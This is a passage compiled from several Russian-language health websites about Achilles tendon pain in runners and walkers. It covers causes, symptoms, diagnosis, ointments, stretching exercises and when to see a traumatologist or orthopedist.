Болят ахилловы сухожилия при ходьбе и после бега, причины боли в области ахилла, как лечить и чем мазать ахиллесово сухожилие

Главная › Здоровье бегуна

Воспаление и боль ахиллова сухожилия встречается довольно часто, особенно у спортсменов, ведь они получают огромную нагрузку на мышцы. Оно является самым крепким и сильным сухожилием в организме.

С его помощью мышцы икры соединяются с костью пятки. Оно позволяет человеку ходить, так как все напряжение при физических усилиях ложится именно на него.

Если такое сухожилие болит, то это означает, что в нем начались воспалительные процессы, которые очень опасны. Если воспаление все же начнется, то из-за плохого кровоснабжения, восстанавливаться оно будет очень долго.

От чего может болеть ахиллово сухожилие?

Болезненные ощущение не возникают ниоткуда, всегда есть конкретная причина боли. Несмотря на то, что это сухожилие самое крепкое, оно также подвергается и огромным нагрузкам, которые становятся причиной заболевания.

Симптомы

Симптомами заболевания такого сухожилия являются:

  • острая боль в области сухожилия;
  • болезненные ощущения во время пальпации;
  • ощущение напряжения в мышце икры;
  • уплотнение и увеличение размера;
  • во время подъема появляется ощущение скованности;
  • во время пальпации, когда сокращаются мышцы, возникает ощущения крепитации.

Причины

Боль может возникнуть из-за самых разных причин:

  • начало воспалительного процесса;
  • растяжение;
  • тендиноз;
  • ношение неудобной обуви, которая не может стабилизировать стопу во время ходьбы;
  • Наличие таких патологий как плоскостопие;
  • Разрыв сухожилия;
  • большая нагрузка, чем сухожилие может выдержать;
  • развитие дегенеративно дистрофических изменений;
  • снижение эластичности;
  • нарушение обмена веществ.

Воспаление сухожилия

Воспалительный процесс очень часто можно наблюдать у тех людей, которые выполняют много физических нагрузок на ноги. В основном это военные, пожарные, люди на службе в армии.

В случае сверхсильной нагрузки в тканях начинается воспалительный процесс. Как следствие возникают боли во время ходьбы или бега.

Если вовремя не начать лечение, то может произойти частичный или полный разрыв сухожилия.

Очень часто такое заболевание возникает при сильных нагрузках на мышцы икры, которые приводят к хроническому или временному напряжению и сокращению. Вследствие этого сухожилие не получает полноценного отдыха, а если сделать резкий рывок, то это и станет причиной воспаления.

Такое заболевание проявляет себя в виде болей возле пятки или в области мышц икры. Особенно остро боль чувствуется после длительного отдыха, когда человек резко поднимается на ноги и делает шаг.

Чтобы убрать воспалительный процесс потребуется много времени, для этого нужно полностью изменить стиль жизни, и не нагружать тело.

Тендиноз

Тендиноз является дегенеративным процессом, вследствие которого появляется воспаление или повреждение тканей. Очень часто такое заболевание можно наблюдать у людей старше 40 лет из-за уменьшения эластичности соединительной ткани. Также, очень часто им страдают спортсмены.

Есть несколько форм такого заболевания:

  • Перитендинит проявляется в воспалении окружающих тканей возле сухожилия.
  • Энтезопатия характеризуется началом воспаления и повреждения в том месте, где оно крепится к пятке.
  • Тендинит возникает как простое поражение, но окружающие ткани остаются здоровыми.

Частичный или полный разрыв сухожилия

Частые и резкие физические нагрузки на ноги могут стать причиной повреждения. В большинстве случаев причиной травматического повреждения области Ахилла считается сильное сокращение трехглавой мышцы. Такое случается во время активных занятий спорта, когда отдыха практически нет.

Разрыв может получиться, если человек сделает неудачный прыжок и приземлится на кончики пальцев. В таком случае вес теле действует как повреждающая сила.

Частичный или полный разрыв может привести к развитию дегенеративных изменений или воспалительному процессу. Такое повреждение может привести к появлению хронической боли, и значительно снизит качество жизни.

Иногда, сила, что действует вокруг оси сухожилия, бывает невероятно сильной, и это становится причиной полного разрыва ахиллова сухожилия. Довольно часто такое повреждение можно наблюдать у мужчин старше 35, особенно у тех, кто любит играть в футбол, теннис, волейбол. Разрыв может случиться при сильных нагрузках, когда мышцы не разработаны.

Причины боли вследствие нагрузок на тренировках

Очень часть главной причиной боли является плохая разминка перед тяжелыми физическими упражнениями. Ведь если мышцы не разогрелись, то они не смогут нормально растягиваться. И вследствие резких движений может повредиться ахиллово сухожилие.

Постоянные нагрузки икроножные мышцы приводят к хроническому напряжению, и как следствие мышца укорачивается. Это является довольно опасным фактором, так как оно постоянно находится под напряжением и не отдыхает. И когда физические упражнения выполняются регулярно без перерыва, то это и приводит ко многим проблемам и постоянным болям.

Профилактика травм ахиллова сухожилия

Несколько советов, которые помогут уберечь от травм:

  • Как только появилась даже незначительная боль, то стоит на время отказаться от любых физических упражнений: бег, прыжки, футбол.
  • Выбирайте и носите только правильную и удобную обувь. Если подошва для занятий спортом будет гибкой, то это предотвратит много проблем связанных с возможным растяжением.
  • Как только появилось чувство дискомфорта или легкая боль в области пятки, то нужно немедленно обратиться за помощью к специалисту.
  • Помогает и выполнение регулярных упражнений на растяжку мышц и области Ахилла. Но, перед тем как начинать работу следует обратиться за консультацией к физиотерапевту.
  • Если нет возможности сразу после появления боли обратится за помощью к врачу, то на ногу стоит сделать холодный компресс, и держать ее немного приподнятой.
  • Хорошим способом защиты является плотная перемотка ноги эластичным бинтом перед тренировками. Также, если чувствуется боль, можно тоже использовать бинт, который надежно зафиксирует ноги и не позволит напрягать эту часть.

Хорошим способом предотвратить травму ахиллова сухожилия являются упражнения на гибкость нижней части ног. Ведь именно плохая растяжка в большинстве случаев является причиной появления боли и травм.

Несколько простых упражнений, что нужно выполнять перед каждой тренировкой, которые помогут избежать многих проблем:

  1. Выпады с гантелями или без них — это отличный способ растянуть мышцы. Выполнять выпады одной ногой вперед, другая, в это время, находится позади в согнутом положении. Корпус опускается медленно и как можно ниже. В прыжке, очень быстрым движением поменять ноги. Выполнять каждый день по 10-15 раз.
  2. Упражнение на цыпочках. Оно выполняется с гантелями, которые нужно взять в руки, вытянутые вдоль тела. Встать на цыпочки и несколько минут походить. Немного отдохнуть и повторить упражнение. Во время ходьбы необходимо следить за положением корпуса, он не должен сгибаться, нужно максимально вытянуться и расправить плечи.

Лечение

Одними из эффективных способов лечения являются:

  • динамический отдых;
  • холод;
  • растяжка;
  • укрепление.

Динамический отдых

При таких повреждениях очень хорошим лечебным эффектом обладает регулярное плавание в бассейне. Если такой возможности нет, то можно, при отсутствии болевых ощущений, ездить на велосипеде.  Начинать с нескольких минут, и постепенно увеличивать время занятий. Бегать строго запрещено — это может усугубить ситуацию.

Холод

На травмированный участок следует класть холодные компрессы. Можно прикладывать лед несколько раз в день по 10-15 минут. Такая процедура поможет убрать воспаление и снимет отечность.

Растяжка

Выполнение классической растяжки возле стены, которую постоянно делают спортсмены перед бегом. Только в случае возникновения боли, растяжку выполнять нельзя.

Укрепление

Частой причиной повреждения становится сильная и резкая нагрузка, поэтому следует укреплять мышцы, чтобы предотвратить травму. Хорошо помогает упражнение с подъемами и опусканиями пяток, для выполнения нужно стать на лестницу. Также, хорошо укрепляют мышцы приседания, толчка или выпады. Только заниматься нужно в меру, чтобы не повредить нижнюю часть ног.

Боли в области ахиллова сухожилия возникают преимущественно из-за повреждения или большой нагрузки. Также болевые ощущения могут говорить о наличие более серьезных проблем, таких как разрыв или тендинит.

Чтобы защитить и предотвратить получение травмы, нужно нагрузку увеличивать постепенно, а также хорошо разогревать мышцы перед выполнением любых физических нагрузок. Боль в ахилловом сухожилии — причины, профилактика, лечение Ссылка на основную публикацию

Источник: http://keeprun.ru/health/bol-v-axillovom-suxozhilii-prichiny-profilaktika-lechenie.html

Болят ахилловы сухожилия при ходьбе и после бега, причины боли в области ахилла, как лечить и чем мазать ахиллесово сухожилие

Ахиллово сухожилие является самой большой, крепкой и мощной структурой подобного типа в теле человека, выдерживающей колоссальные физические нагрузки. Почему в нём может возникать боль? К какому врачу стоит обратиться при наличии подобной проблемы? Как лечить ахиллово сухожилие, если оно болит? Об этом и многом другом вы прочитаете в нашей статье.

Почему болят ахилловы сухожилия?

Существует достаточно большое количество потенциально возможных причин, из-за которых у человека могут болеть ахиллесовые сухожилия. Часть из них являются прямыми обстоятельствами, остальные же можно причислить к провоцирующим факторам вторичного негативного влияния. Наиболее распространённые и очевидные причины боли в ахиллесовом сухожилии:

  • Разнообразные воспалительные процессы, как инфекционного, так и обычного характера;
  • Тендиниты и тендинозы в любой фазе, являющиеся локальной вариацией острого воспалительного процесса в мышечных связках и близлежащих тканях;
  • Прямые растяжения, надрывы и разрывы сухожилий из внутренних либо внешних причин (ударных физических нагрузок);
  • Комплексные хронические дегенеративные и дистрофические процессы в обозначенных структурах;
  • Проблемы, заболевания, анатомические особенности и патологии опорно-двигательного аппарата – от артрозов до косолапия и плоскостопия;
  • Системное нарушения обмена веществ, вызванное неправильным питанием, недостатком полезных веществ, прочими обстоятельствами, провоцирующими снижение эластичности ахилловых сухожилий.

Ахиллово сухожилие болит при ходьбе

Одним из наиболее распространённых патологических симптомов неполадок в работе ахиллова сухожилия у человека считается появление болевого синдрома в процессе ходьбы.

Ходьба в современном медицинском понимании является наиболее естественным способом перемещения человека в пространстве, достаточно сложным координированным актом с совокупной деятельностью не только ахилла, но также широкого спектра систем опорного аппарата и скелетных мышц в отношении нижних конечностей.

Несмотря на то, что она связана и легким и доступным типом физической нагрузки, в ряде обстоятельств даже такие незначительные усилия могут провоцировать неприятные ощущения. При этом сама боль иногда носит противоречивый характер и бывает тянущей, режущей и даже распирающей. Основные причины боли в ахиллесовом сухожилии:

  • Широкий спектр патологий опорно-двигательного аппарата, связанных с неправильным перераспределением массы тела и перегрузкой нижних конечностей. Наиболее часто диагностируется косолапость или плоскостопие. При этом проблемы подобного рода имеют хронический характер и усугубляются с возрастом;
  • Стойкое нарушение обменных процессов. В частности типичны боли в ахиллах при ходьбе в случае острых форм подагры;
  • Физические перегрузки трехглавой мышцы голени. Регулярные несбалансированные физнагрузки на данную локализацию провоцируют развитие воспалений неинфекционного характера с последующим переходом последнего и на сухожилия;
  • Возрастные дистрофии. У пожилых людей эластичность сухожилий постепенно снижается, что создаёт предпосылки к растяжениям и воспалениям;
  • Внешние факторы. Такими могут стать различные спортивные травмы некритического характера, ношение неудобной обуви и прочее.

В случае появления боли в ахиллесовом сухожилии при ходьбе, которая не проходит в течение нескольких дней после сведения физической активности к минимуму, желательно обратиться к травматологу или ортопеду с целью прохождения диагностики, особенно если симптом сопровождается отечностью в области пятки и прочими признаками явной патологии.

Похожие статьи

Причины боли в ахилле после бега

Бег является одним из активных способов передвижения человека. В целом он сходен с ходьбой, но при первом типе локомоции присутствует так называемая «фаза полета» и отсутствует аспект двойной опоры.

При беге человек испытывает повышенные физические нагрузки на нижние конечности в частности и весь организм в целом. Возможные причины по которым после бега болят ахилловы сухожилия:

  • Несоблюдение техники. Поскольку именно спортсмены чаще всего подвержены проблемам с ахилловыми сухожилиями, то несоблюдение ними базовой техники бега (особенно любителями либо же начинающими непрофессионалами) на фоне отсутствия хорошей тренированности иногда вызывает болевой синдром. Как правило, в случае коррекции нагрузок и исправления технических огрехов с параллельным временным ограничением активности болевой синдром исчезает в течение недели;
  • Травмы. Сюда включается широкий спектр травм не только ахилловых сухожилий, но и голеностопа, связок, менисков, которые могут вторично и косвенно негативно влиять на базовую структуру;
  • Системные воспаления. Причин  воспалительных процессов может быть огромное количество, при этом одной из локализаций проблемы выступает воспаление ахилла и близлежащих структур.

В случае наличия длительного периода времени боли в ахиллесовом сухожилии после бега, желательно пройти комплексное обследование у травматолога либо ортопеда, чтобы обнаружить точную причину патологии и пройти необходимую терапию.

Болят ахилловы сухожилия на обеих ногах

Как показывает современная клиническая практика, появление болевого ощущения в ахилловых сухожилиях обеих нижних конечностей обычно редко свидетельствует о получении человеком травмы. Чаще всего, причинами подобного проявления являются следствия:

  • Сильного перенапряжения сухожилий после длительного бега и тяжелых физических нагрузок;
  • Системных или локальных воспалительных процессов;
  • Дегенеративно-дистрофических нарушений эластичных структур;
  • Комплексных патологий опорно-двигательного аппарата, как врожденных, так и приобретенных;
  • Естественного старения организма со снижением эластичности ахилловых сухожилий.

Если видимых негативных симптомов, кроме легкой или средней боли, человеком не фиксируется, то следует попробовать временно ограничить физические нагрузки на нижние конечности и как следует отдохнуть (вплоть до 1 недели).

Когда же болевой синдром сопровождается отечностью в характерной локализации, нарушением координации движений и прочими негативными проявлениями, то стоит сразу обратиться к узкому специалисту за прохождением комплексной диагностики. Проблемами подобного рода занимается травматолог или ортопед.

Болевые ощущения по утрам

Утренние боли в области ахиллова сухожилия не являются специфическим симптомом конкретной патологии и могут свидетельствовать о ряде возможных причин образования такого негативного признака. Чаще всего болят ахилловы сухожилия по утрам из-за:

  • Регулярного перенапряжения нижних конечностей как следствие сильных физических нагрузок;
  • Тенопатии широкого спектра. Помимо боли могут сопровождаться ухудшением локального кровообращения, отечностью и прочими неприятными симптомами;
  • Общего физического старения организма со значительным ухудшением эластичности структур;
  • Острого недостатка важных витаминов и микроэлементов, нарушение ряда обменных процессов.

Если боли в ахиллесовом сухожилии по утрам беспокоят на регулярной основе и не проходят даже после ограничения физической активности, нормализации рациона и суточных ритмов, то стоит пройти комплексное обследование у профильного специалиста, включающее в себя первичный осмотр и проведение необходимых процедур инструментальной диагностики.

Отечность и болевой синдром в области ахилла

Наличие боли и отечности в области ахиллова сухожилия обычно явно указывает на присутствие той или иной патологии, связанной с наличием травмы или воспаления ахилла, возможно дистрофических либо дегенеративных изменений эластичных структур обозначенного элемента опорно-двигательного аппарата.

Как правило, лишь узким спектром негативной симптоматики вышеприведенные патологии не ограничиваются. В частности у пациента:

  • Повышаться локальная или общая температура тела;
  • Может утолщаться дерма;
  • Напрягаться икроножная мышца;
  • Поддаваться гиперемии эпителий и так далее.

В любом случае стоит записаться на приём к ортопеду либо травматологу, после чего пройти комплексную диагностику, особенно если проблема не исчезает в течение достаточно длительного периода времени.

Щелкает ахиллово сухожилие

Как показывает современная клиническая практика, само по себе сухожилие не может издавать щелчков, поскольку является эластичной и гибкой структурой.

При наличии подобного субъективного симптома речь обычно идёт либо о наличии растяжения ахилла, надрыва, частичного или полного разрыва данного компонента, либо же о проблемах с пяточной костью и икроножной мышцей, в тех случаях, когда к такому проявлению присоединяется также болевой синдром, отечность и прочее.

В любом из вышеозначенных случаев наличие симптома требует точного выявления конкретной причины неприятного признака.

Производится данное мероприятие в рамках комплексной диагностики у травматолога, ортопеда, при необходимости – хирурга. Лечение в большинстве случаев индивидуальное и зависит от характера, тяжести и типа выявленной проблемы.

Применение мазей для устранения патологии

Для лечения ахиллесового сухожилия современная фармацевтическая отрасль предлагает широкий спектр местных лекарственных препаратов в виде кремов и мазей, позволяющих устранить болевой синдром в области ахилла.

Следует понимать, что без четкого выявления истинной причины боли, использовать мази на регулярной основе и более того, заниматься самолечением, строго не рекомендуется.

Однако в качестве экстренной и оперативной меры пресечения болевых ощущений, а также нормализации работы ахилла после физического перенапряжения, применять такие средства вполне рационально.

Большинство обозначенных выше местных средств оказывает базовое обезболивающее и противовоспалительное воздействие на ахиллесовые сухожилия. Помимо этого, существуют мази и кремы с антибактериальным эффектом, а также согревающим либо охлаждающим компонентом.

В последних двух случаях препараты применяются соответственно на поздних либо ранних этапах терапии, как дополнение к основному лечению. Типичные лекарственные средства, широко используемые как профессиональными спортсменами, так и обычными людьми:

  • Диклофенак;
  • Апизартрон;
  • Димексид и Диклак;
  • Мазь на основе живокоста.

К какому врачу обращаться при болях?

Необходимость обращения к конкретному узкому специалисту обусловлена характером, типом и тяжестью проблемы с ахиллесовым сухожилием:

  • Если патология связана с полученной травмой, то первичный приём осуществляется соответствующим травматологом;
  • Также, лечить различные заболевания, вторичные негативные состояния и синдромы, связанные с функционированием обозначенного элемента опорно-двигательного аппарата, может ортопед;
  • А в отдельных случаях, связанных с необходимостью оперативного вмешательства – хирург.

Виктор Системов — эксперт сайта 1Travmpunkt

Page 2

67 Причины боли в ахилловом сухожилии

Ахиллово сухожилие является самой большой, крепкой и мощной структурой подобного типа в теле человека, выдерживающей колоссальные физические нагрузки. Почему в […]

Симптомы и лечение растяжения ахилла

Ахиллово сухожилие является крупным образованием, которое прикрепляет икроножную мышцу к пяточной кости. Оно часто подвергается воздействию травмирующих агентов. Растяжение ахиллова […]

130 53 Восстановление ахилла после разрыва

Одним из важнейших этапов полного восстановления работоспособности ахилла после разрывов и минимизации рисков повторных эпизодов патологий, является своевременная, полная и […]

21 Воспаление ахиллова сухожилия

Тендинит – воспаление сухожилия (от греческого ténon – сухожилие, суффикс itisв медицинской терминологии означает воспаление). Тендинит ахиллова сухожилия – распространенная […]

Источник: https://1travmpunkt.com/rastyazheniya/ahill/prichiny-bolej.html

Боль в ахилловом сухожилии


Ахиллово сухожилие – самое сильное в организме человека. Оно выдерживает огромную нагрузку – до 400 кг. Однако название сухожилия, восходящее к греческому герою Ахиллу, который погиб от ранения в пятку, говорит о его уязвимости. В данной статье мы рассмотрим, почему болит ахиллово сухожилие, причины и симптомы его поражения, а также способы предотвращения травмы.

Ахиллово сухожилие состоит из соединительной ткани, которой оно прикрепляет к пятке трехглавую мышцу голени.

Благодаря его амортизирующей функции человек может делать свои привычные действия – ходить, бегать, подниматься на носочки, прыгать.

Поэтому для спортсменов, особенно бегунов, здоровье ахиллового сухожилия – залог успеха. Однако превышение допустимых нагрузок может спровоцировать его истончение, воспаление и даже разрыв.

Установить причину, а также начать своевременное лечение в данном случае чрезвычайно важно, ведь травма ахиллового сухожилия является одной из наиболее сложных. Восстановление данной зоны происходит очень медленно, поскольку приток крови к ней крайне низок. Поэтому боль в ахилловом сухожилии – симптом, который игнорировать не стоит.

Причины возникновения болей

Как правило, болит ахилл в результате внешнего воздействия, неправильного распределения нагрузки или врожденных патологий. В числе причин возникновения данной патологии:

  • Высокий свод стоп или плоскостопие
  • Искривление конечностей
  • Нарушение обменных процессов в организме
  • Возрастные изменения
  • Неправильная ходьба, а именно перенесение опоры на заднюю часть пятки
  • Пронация, т. е. чрезмерное заваливание стопы вовнутрь при движении
  • Занятия бегом на жестком покрытии
  • Ношение неправильной обуви с жесткой пяткой и не гнущейся подошвой (правильно подбирайте обувь для бега!)
  • Игнорирование разминки
  • Нерастянутость мышц задней поверхности бедра и икроножных мышц
  • Нанесение удара в области сухожилия во время напряжения голени, что приводит к травмированию
  • Внезапный рывок, отрыв от поверхности для прыжка
  • Ношение каблуков, которое приводит к укорачиванию сухожилия; впоследствии надевание обуви без платформы приводит к его чрезмерному растяжению и оттягиванию надкостницы, что вызывает воспаление ахиллового сухожилия
  • Врожденные патологии, например короткие ахилловы сухожилия

Чаще всего воспаление ахилла возникает при сильных нагрузках в области икроножных мышц, что провоцирует чрезмерное натяжение. Постоянные толчки и рывки не позволяют мышцам отдыхать. В результате возникает воспаление ахиллесова сухожилия, или тенденит.

Наиболее подвержены тендениту люди с лишним весом и старше 40 лет. Также к развитию данной патологии склонны страдающие псориазом и гипертонией.

Симптомы воспаления

Характерные симптомы воспаления:

  • Боль над пяткой (задний отдел, в 3-5 сантиметрах от подошвы), усиливающаяся при физических нагрузках, особенно в их начале. Ощущения тянущие, жгучие
  • Нарушение подвижности сустава
  • Повышение температуры тела
  • Покраснение тканей
  • Появление эластичных узелков в области воспаления
  • Опухание в зоне сухожилия
  • Ощущение пульсации

На ранних стадиях воспалительный процесс может проявляться в виде болевых ощущений только во время физической активности, например при ходьбе, но при прогрессировании патологии боль не прекращается даже в состоянии покоя. В данном случае нельзя заниматься самолечением: необходимо обратиться к врачу, который определит, как лечить патологию в конкретном случае, иначе восстановление функциональности сухожилия будет невозможно.

Как предотвратить боль

Такой вопрос задают как профессиональные спортсмены, так и любители, ощутившие первый дискомфорт, но не желающие прекращать тренировок. Однако уменьшить уровень нагрузки придется вплоть до их временной остановки, что позволит предотвратить усугубления патологии. Допускается только плавание. Также снизить выраженность проявления болевых ощущений помогут следующие меры:

  • Холодные компрессы, прикладываемые в зоне над пяткой (например, по 20 минут 3 раза в день)
  • Массаж области голеностопа и сухожилия
  • Проведение разминки перед бегом, ходьбой или другими физическими нагрузками для растяжки икроножных мышц
  • Ношение специального бандажа или использование эластичного бинта
  • Применение противовоспалительных, а также болеутоляющих мазей и препаратов (после консультации со специалистом)

При появлении устойчивой боли нужно обеспечить полный покой и обратиться к специалисту. Лечение воспаления сухожилия зачастую проводится консервативными методами, включающих прием противовоспалительных и болеутоляющих лекарств, в то время как разрыв предполагает оперативное вмешательство с последующим наложением гипса.

Как предотвратить травму

Избежать растяжения или разрыва ахиллового сухожилия можно, следуя таким правилам:

  1. Готовить мышцы перед тренировкой, выполняя разминку. Такая растяжка и  разогрев позволят повысить эластичность и гибкость мышц и связок
  2. Наращивать интенсивность тренировок постепенно
  3. Останавливать занятие при появлении первых неприятных ощущений в задней части пятки или голени: игнорирование множества мелких, на первый взгляд, травм формирует рубцы, что может обернуться растяжением или разрывом ахиллового сухожилия
  4. Быть предельно осторожным при беге на подъеме
  5. Носить специальную обувь, надежно фиксирующую конечность, с гибкой подошвой, особенно в передней части, а также со вставками, что позволит снизить степень натяжения сухожилия
  6. Не увеличивать резко частоту или интенсивность нагрузок: наращивать не более чем на 5 % в неделю
  7. При появлении болезненных ощущений в задней части пятки отказаться от нагрузок, связанных с прыжками, резкими рывками, как в футболе, баскетболе, при беге и пр.

Выполнение упражнений на растяжку, задействующих сухожилия, икры и подколенные мышцы, позволяет предотвратить повреждение ахиллового сухожилия в 80% случаев.

Упражнения на укрепление ахилла

Проводить укрепление ахилла необходимо заранее, а не при наличии дискомфорта в области сухожилия. С целью профилактики истончения данных соединительных тканей, а также воспалительных процессов в их зоне нужно регулярно делать следующие упражнения:

  1.    Приседание на пятках. Для этого занятия понадобится степ-платформа. На нее нужно стать пятками так, чтобы носки немного свисали. При этом левую руку зафиксировать на поясе, а правую вытянуть перед собой. Удерживая равновесие, присесть, а потом вернуться в исходное положение. В день нужно выполнять 30—36 таких повторений, разделив их на три подхода.
  2.    Упражнение у стены – стретч икроножных мышц. Повернуться лицом к стене. На расстоянии 60—70 см поставить на нее одну ногу, прижимая стопу в области пятки к ее поверхности. Продержаться в таком положении около минуты. Сменить ногу, выполнить то же самое.
  3.    Подъемы. Для данного упражнения также понадобиться степ-платформа. Нужно встать на ее край носками, а пятки оставить свисать. Далее приподняться на носках, параллельно сгибая одну ногу в колене и отрывая ее от платформы. Через пять секунд опустить носок опорной ноги. Делать попеременно для обеих конечностей.
  4.    Разгибание стопы от себя. Положение – сидя на полу, на ноге в области носка закрепить жгут, конечность выпрямить. Разгибать стопу по направлению от себя, удерживая ногу с помощью жгута. Выполнять 10 раз по два повторения утром и вечером.

Также укреплению ахиллового сухожилия способствует контрастный душ продолжительностью около минуты.

Во время тренировки необходимо ориентироваться на свои ощущения и не терпеть боль, чтобы в дальнейшем не терять время на длительное восстановление.

Источник: https://livelong.pro/bol-v-ahillovom-suhozhilii/

Болит ахиллово сухожилие при ходьбе и беге

Ахиллово сухожилие, или пяточное,  — самое толстое и сильное во всем теле, оно соединяет трёхглавую мышцу голени с пяточной костью, отсюда и название. Оно выдерживает нагрузку до 300 килограмм.

Если болит ахиллово сухожилие при ходьбе, причиной чаще всего является тендинит, или тендопатия (воспаление). Встречается преимущественно у спортсменов или людей, ведущих активный образ жизни, нагружающих ноги физическими упражнениями.

Тендопатия опасна, если вовремя не принять меры, сухожилие может разорваться.

При воспалении ахилла возникает болевой синдром

Причины боли

Есть несколько причин, вызывающих тендопатию, одни характерны преимущественно для спортсменов, другие – и для неспортивных людей.

  • Перегрузка трехглавой мышцы голени. Изначально воспаляются только мышцы, затем воспалительный процесс переходит на сухожилие. Возникает чаще у спортсменов, болит ахилл после бега или силовой тренировки.
  • Тендинит может возникать из-за патологий опорно-двигательного аппарата, таких как косолапость и плоскостопие. Неправильное распределение веса по стопе перегружает и травмирует связку.
  • Неудобная обувь: жесткая или узкая колодка, высокий каблук.
  • Некоторые заболевания органов и систем, вызывающие нарушения обменных процессов. Например, подагра.
  • Возрастные изменения: в преклонном возрасте эластичность волокон снижается, а риск воспалений возрастает.

Каждая из этих причин может спровоцировать воспаление тканей.

Симптомы воспаления ахилла

Основным и главным признаком воспаления является боль. Она носит локальный характер, может болеть пятка или область над ней. Характерный симптом – боль в ахилловом сухожилии по утрам, хотя ноги не подвергались нагрузкам.

Боль при переносе веса на ногу носит острый, резкий характер. Она может быть:

  • тянущей;
  • режущей;
  • распирающей.

Характер и интенсивность боли будут зависеть от тяжести травмы, веса и общего состояния пострадавшего. Например, у спортсменов иногда ахиллово сухожилие болит только после бега.

А вот у пожилых людей боль может быть постоянной и настолько сильной, что невозможно становиться на поврежденную ногу, движение ногой невозможно.

При тендините может развиваться видимый отек в области над пяткой.

Если присутствует отёк и болят ахилловы сухожилия по утрам, на ночь ногу стоит размещать на возвышенности, например, подушке или свернутом валиком одеяле.

При наличии хотя бы одного из этих симптомов следует сразу идти к доктору, не откладывая.

Диагностика тендопатии

Тейпирование при тендопатии помогает снять боль

При сборе анамнеза учитываются время и обстоятельства появления симптомов, характерных для тендинита.

Дополнительные сведения о состоянии мягких тканей даёт пальпаторное исследование голеностопного сустава и окружающих структур. Следует также обратить внимание на интенсивность боли, так как травма может быть куда серьезнее, чем изначально предполагалось.

Обязательно назначается рентгенография. Она позволяет исключить перелом лодыжек.

Также проводится ультразвуковое исследование, чтобы исключить вероятность надрыва ахиллова сухожилия. Только УЗИ позволяет наверняка узнать, воспаление это или же ситуация куда серьезнее.

При желании пациента можно сделать МРТ. Магнитно-резонансная терапия не является обязательной, однако позволяет детально рассмотреть характер повреждений.

Дифференцировать тендинит следует со следующими заболеваниями и травмами:

  • разрыв трехглавой мышцы;
  • трещина и перелом близлежащих костей;
  • частичный и полный разрыв пяточного сухожилия;
  • тромбоз глубоких вен нижних конечностей.

Для этого достаточно анамнестических данных, общего осмотра, УЗИ и рентгена.

Лечение воспаления

Противовоспалительные средства

Если при ходьбе болит ахиллесово сухожилие, лечение должен назначить квалифицированный врач. Самостоятельный подбор лекарств или народных рецептов может только усугубить ситуацию.

Основное лечение — полный покой ноге и прием противовоспалительных препаратов. Пациенту назначается постельный режим для исключения нагрузки и перенапряжения мышц нижней конечности. Покой обеспечит быстрейшее выздоровление и предотвратит возможные осложнения.

Местные обезболивающие средства следует наносить на поврежденную область для снятия отека и боли.

Восстанавливать подвижность следует постепенно и аккуратно. Врач назначает лечебную физкультуру для скорейшей реабилитации. Хороший результат дает тейпирование: специальный пластырь берет на себя часть работы, уменьшая нагрузку на связки.

Упражнения следует выполнять с осторожностью, не перенапрягая ногу. После снятия воспаления полезна дозированная ходьба, а вот бегать первое время категорически запрещается.

Возвращаться к пробежкам стоит аккуратно, прислушиваясь к собственным ощущениям, чтобы избежать рецидива. Полноценные тренировки можно возобновить после полного восстановления с разрешения врача.

Следуя назначенным предписаниям и соблюдая сроки, необходимые для восстановления, воспаление ахилла можно вылечить за короткий срок. Если же медицинская помощь не оказана своевременно, возможна хронизация процесса.

В большинстве случаев исход благоприятный, воспалительный процесс прекращается без последствий. Адекватное лечение в совокупности с покоем обеспечит скорейшее восстановление тканей.

Если воспаление было у спортсмена и необходимо скорее возобновить тренировки, после восстановительного периода приступать к физическим нагрузкам нужно осторожно, постепенно наращивая продолжительность и силу. Начинать стоит с прогулки, затем – пробежка на проверку остаточных болей. Если два этапа пройдены без боли, можно приступать к щадящим тренировкам.

Если при тренировке появилась боль в ноге, следует немедленно обратиться к специалисту.

Если пустить все на самотек, процесс переходит в хроническую форму, происходит вторичное изменение ткани и вернуть ноге былую подвижность уже не удастся.

Источник: https://NogoStop.ru/golenostop/suxozhiliya/bolit-axillovo-suxozhilie-pri-xodbe.html

Тендинит ахиллова сухожилия — все о беге на Get.run

Ваши ахилловы сухожилия, вероятно, уже болят во время бега, скрипят после пробежки, или ощущаются тугими и жесткими во время ходьбы. Каждый день вы чувствуете, что что-то не так, и задаетесь вопросом: «Могу ли я продолжать бегать или пора сделать перерыв, пока все не пройдет?»

Скорее всего, это статья, которую вам бы не хотелось читать. И вот почему…

Ваши ахилловы сухожилия, вероятно, уже болят во время бега, скрипят после пробежки, или ощущаются тугими и жесткими во время ходьбы. Каждый день вы чувствуете, что что-то не так, и задаетесь вопросом: «Могу ли я продолжать бегать или пора сделать перерыв, пока все не пройдет?»

Травмы ахиллова сухожилия могут быть упрямыми, болезненными и удручающими. Если вы читаете это, у вас наверняка они есть. К счастью, мы здесь, чтобы помочь вам, а не для того, чтобы просто посоветовать приложить лед и дать себе отдохнуть.

Это руководство объяснит вам, почему возникают проблемы с ахилловым сухожилием, и что вы можете сделать, чтобы сократить время, необходимое для его лечения, если вы страдаете от боли или скрипа в области пятки.

Ахиллесово сухожилие является самым толстым и сильным сухожилием в вашем теле, соединяющим икроножную мышцу с задней частью пятки.

Практически вся сила, создаваемая при отталкивании от земли во время бега, передается через ахиллово сухожилие, и эта сила может в 3 раза превышать вес вашего тела. И чем быстрее вы бежите, тем больше нагрузка на ахиллово сухожилие.

Таким образом, данная область тела обладает склонностью к травме у многих бегунов, но особенно у тех, кто много практикует скоростной тренинг, бег в горку или приземляется на переднюю часть стопы. Травмы ахиллова сухожилия составляют 5-12% всех беговых травм и происходят чаще всего у мужчин.

Это может быть связано с тем, что мужчины склонны бегать в более быстром темпе, или же может иметь отношение к другим биомеханическим факторам.

Тендинит ахиллова сухожилия обычно начинается с того, что вы ощущаете необъяснимую жесткость сухожилия, которая постепенно уходит, когда эта область разогревается. Это состояние может ухудшиться при повышении скорости бега, при беге в горку, при беге в шиповках и кроссовках с низкой пяткой.

Если вы продолжите тренироваться, боль в сухожилии станет более острой, и вы будете чувствовать ее чаще, пока в конечном итоге она не станет вашей спутницей даже при беге трусцой.

Примерно в двух третях случаев тендинит поражает «среднюю часть» ахиллова сухожилия, на несколько сантиметров выше пятки.

В остальном, это чаще всего случаи инсерционного тендинита ахиллова сухожилия, который возникает в области на пару сантиметров или около того выше пятки.

От инсерционного тендинита, как правило, труднее избавиться, потому, что при этом также может воспалиться бурса, маленький, заполненный жидкостью мешочек прямо за сухожилием.

Общие причины тендинита ахиллова сухожилия у бегунов

